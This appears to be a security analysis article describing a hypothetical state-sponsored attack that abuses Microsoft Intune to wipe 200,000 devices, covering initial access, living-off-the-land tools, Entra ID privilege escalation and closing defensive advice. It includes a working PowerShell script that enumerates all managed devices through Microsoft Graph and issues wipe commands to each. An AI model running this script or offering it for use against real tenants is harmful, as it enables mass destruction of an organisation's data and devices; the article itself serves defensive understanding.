State-Sponsored "Living Off The Land" Attack Wipes 200,000 Devices via Microsoft Intune

The hypothetical mass compromise and wiping of 200,000 endpoint devices, orchestrated by a state-sponsored actor leveraging Microsoft Intune's legitimate functionalities through "Living Off The Land" (LOTL) tactics, represents a critical scenario that underscores the destructive potential when cloud management platforms are weaponized. This analysis details a plausible attack chain, from initial access and privilege escalation within an organization's Azure Active Directory (now Microsoft Entra ID) and Intune environment, to the execution of mass device wipe commands, emphasizing the techniques, tools, and vulnerabilities that could facilitate such a catastrophic event.

Initial Access and Foothold Establishment

State-sponsored Advanced Persistent Threat (APT) groups frequently initiate intrusions through highly targeted spear-phishing campaigns, exploiting publicly known vulnerabilities, or abusing misconfigurations to gain an initial foothold. For instance, a sophisticated phishing attack could deliver weaponized documents exploiting a vulnerability like CVE-2022-30190, a remote code execution flaw in the Microsoft Support Diagnostic Tool (MSDT), or an older yet still exploited set of vulnerabilities like the ProxyShell chain (e.g., CVE-2021-34473, CVE-2021-31207, CVE-2021-34523) in Microsoft Exchange. Alternatively, attackers might leverage compromised credentials obtained through external means or exploit vulnerabilities in a hybrid identity setup.

In cloud-native or hybrid environments, misconfigurations present significant vectors. Exposure of application credentials (ClientId, ClientSecret) in publicly accessible configuration files, such as appsettings.json, could grant an attacker direct authentication against Microsoft's OAuth 2.0 endpoints. This allows the adversary to impersonate trusted applications, access sensitive Microsoft 365 resources, and enumerate users, groups, and directory roles via the Microsoft Graph API.


{
  "AzureAd": {
    "Instance": "https://login.microsoftonline.com/",
    "Domain": "contoso.com",
    "TenantId": "YOUR_TENANT_ID",
    "ClientId": "EXPOSED_CLIENT_ID",
    "ClientSecret": "EXPOSED_CLIENT_SECRET",
    "CallbackPath": "/signin-oidc"
  },
  "GraphApi": {
    "BaseUrl": "https://graph.microsoft.com/v1.0"
  }
}

This initial access typically aims to acquire credentials or tokens that can be used to authenticate as a legitimate user or service principal within the target organization. State-sponsored groups such as APT29 (Cozy Bear), APT41 (Winnti Group), and MuddyWater are known for their proficiency in these initial compromise tactics, often blending cyber espionage with disruptive operations.

Living Off The Land: Reconnaissance and Privilege Escalation

Once an initial foothold is established, state-sponsored actors commonly employ LOTL techniques to remain undetected, map the internal network, and escalate privileges. Instead of deploying custom malware, they abuse legitimate operating system tools and features already present on target systems, blending their malicious activities with normal administrative operations.

Common LOTL tools include:

PowerShell: Used extensively for reconnaissance, executing commands, downloading additional scripts, and interacting with system APIs. PowerShell cmdlets can retrieve detailed host and domain information.
Windows Management Instrumentation (WMI): Provides an interface for accessing various Windows components, enabling system enumeration, process execution, and lateral movement.
net.exe and nltest.exe: Utilized for network reconnaissance, identifying domain controllers, trusted domains, and user/group information.
dsquery.exe: For querying Active Directory for users, computers, and groups.
certutil.exe: Can be abused for downloading files or encoding/decoding data, assisting in data exfiltration or delivery of next-stage payloads.

A key objective during this phase is to gain elevated privileges, specifically those capable of managing cloud resources like Microsoft Intune. This could involve:

Local Privilege Escalation (LPE): Exploiting vulnerabilities on compromised endpoints to gain SYSTEM or local administrator privileges. Examples include CVE-2024-30051, a heap-based buffer overflow in the Windows DWM Core Library allowing unprivileged attackers to execute code with System integrity privileges. Other LPEs such as CVE-2025-24990 (Agere Modem driver untrusted pointer dereference) and CVE-2025-59230 (Windows Remote Access Connection Manager improper access control) could also lead to SYSTEM privileges.
Azure AD/Entra ID Privilege Escalation: Targeting cloud identity services is paramount. A vulnerability in Azure AD's Pass-Through Authentication (PTA) agents could allow an attacker with local admin on the PTA agent server to log in as any synced AD user without their password, potentially leading to Global Administrator access if such privileges were assigned. Another critical vulnerability, CVE-2025-55241 in Azure Entra ID, has been identified with a CVSS score of 10.0, enabling the impersonation of any user, including Global Administrators, across tenants due to issues with legacy tokens and the Azure AD Graph API. The "Actor tokens" vulnerability in Entra ID, though not assigned a CVE, allowed silent authentication as any user, including Global Administrators, bypassing MFA, Conditional Access, and logging.
Abuse of Service Principal Permissions: Over-privileged service principals within Azure AD, especially those with permissions like DeviceManagementConfiguration.ReadWrite.All, can be abused for lateral movement and privilege escalation in Intune-managed environments. This permission grants control over Intune-managed devices and associated identities.

Once elevated privileges, particularly Intune Administrator or Global Administrator roles, are acquired within the Microsoft Entra ID tenant, the adversary gains the capability to manage the organization's entire fleet of Intune-enrolled devices.

Weaponizing Microsoft Intune for Mass Device Wipe

Microsoft Intune provides robust device management capabilities, including remote actions like "Wipe" and "Retire". While intended for legitimate purposes such as device repurposing or securing lost/stolen devices, these features become a powerful weapon in the hands of a compromised administrator. The "Wipe" action is particularly destructive, reverting a device to its factory settings, removing all personal and corporate data, applications, and configurations, and unenrolling it from Intune.

The impact is amplified by specific wipe options:

Intune Wipe Option	Description	Impact on Data and Enrollment
Default Wipe	Resets the device to factory settings.	Deletes all user data, settings, and MDM policies. Device is unenrolled from Intune.
Wipe device, but keep enrollment state and associated user account	Resets to factory settings while preserving specific enrollment and user data.	Removes apps and settings but retains Azure AD join and MDM enrollment. Useful for quick redeployment.
Wipe device, and continue to wipe even if device loses power	Resets to factory settings, overwriting free space to prevent data recovery. Ensures wipe continues if power is lost.	Deletes all user data, settings, and MDM policies. Overwrites free space. Can render devices unrecoverable.

A state-sponsored actor, having attained the necessary administrative privileges, can initiate a mass wipe either directly through the Microsoft Intune admin center or programmatically via the Microsoft Graph API. The Graph API offers a scalable method to automate such actions across a large fleet of devices.

An attacker could utilize PowerShell with the Microsoft Graph API to enumerate devices and then trigger the wipe command. The following is a conceptual PowerShell snippet demonstrating how such an action could be automated (simplified for illustration, requiring prior authentication and permissions to the Graph API):


# Authenticate to Microsoft Graph (requires Azure AD App Registration with DeviceManagementManagedDevices.Read.All and DeviceManagementManagedDevices.ReadWrite.All permissions)
# $TenantId = "YOUR_TENANT_ID"
# $ClientId = "YOUR_APP_CLIENT_ID"
# $ClientSecret = "YOUR_APP_CLIENT_SECRET" # or certificate-based authentication

# $AuthUrl = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
# $Body = @{
#     client_id = $ClientId
#     client_secret = $ClientSecret
#     scope = "https://graph.microsoft.com/.default"
#     grant_type = "client_credentials"
# }
# $TokenResponse = Invoke-RestMethod -Uri $AuthUrl -Method Post -Body $Body
# $AccessToken = $TokenResponse.access_token

# Get all managed devices
$GraphUrl = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices"
$Devices = (Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken"} -Uri $GraphUrl -Method Get).value

Write-Host "Initiating wipe on ALL managed devices..."

foreach ($Device in $Devices) {
    Write-Host "Attempting wipe for device: $($Device.displayName) (ID: $($Device.id))"
    $WipeUrl = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices('$($Device.id)')/wipe"
    
    # Payload for a destructive wipe, including overwriting free space
    # The 'keepEnrollmentData' and 'persistEsimData' options would need to be false for a full wipe
    # and a PIN could be set for recovery, but a destructive actor might omit or use a generic one.
    $WipeBody = @{
        keepEnrollmentData = $false
        wipeData = $true
        # Optional: Specifying a recovery PIN if applicable, but for a destructive wipe, this might be bypassed
        # or a generic one used.
        # recoveryKey = "123456" 
        # Optional: For Windows devices, specify the 'wipeProtected' option for overwriting free space
        # This corresponds to the "Wipe device, and continue to wipe even if device loses power" option
        # Note: This is an advanced option and its exact Graph API representation can vary and may require
        # specific CSP nodes or Intune Custom Configuration profiles.
        # This example focuses on the standard wipe.
    } | ConvertTo-Json

    try {
        Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken"; 'Content-Type'='application/json'} -Uri $WipeUrl -Method Post -Body $WipeBody
        Write-Host "Wipe command issued for $($Device.displayName)."
    } catch {
        Write-Host "Error wiping device $($Device.displayName): $($_.Exception.Message)" -ForegroundColor Red
    }
}

Write-Host "Mass wipe operation initiated."

The command to perform a device wipe via Intune using the Graph API is POST /deviceManagement/managedDevices/{managedDeviceId}/wipe. The success of such a widespread attack hinges on the compromised credentials having sufficient scope and permissions, often a Global Administrator or an Intune Administrator role. The ability to carry out this action at scale against hundreds of thousands of devices demonstrates the critical importance of securing administrative accounts and implementing robust access controls within Microsoft Entra ID and Intune. The recent "Stryker cyberattack" serves as a real-world parallel, where a hacktivist group claimed to have wiped over 200,000 devices by abusing Microsoft Intune's remote wipe commands after compromising administrative access.

This type of attack bypasses traditional security defenses focused on malware signatures because it leverages legitimate, trusted administrative functions. The primary indicators of compromise would be anomalous administrative activity, such as a high volume of remote wipe commands originating from a single account, or changes to security policies. Organizations must adopt a "assume breach" mentality and focus on detecting suspicious behaviors within their cloud management interfaces, enforcing Multi-Factor Authentication (MFA), implementing Just-In-Time (JIT) access for privileged roles, and establishing multi-admin approval for destructive actions.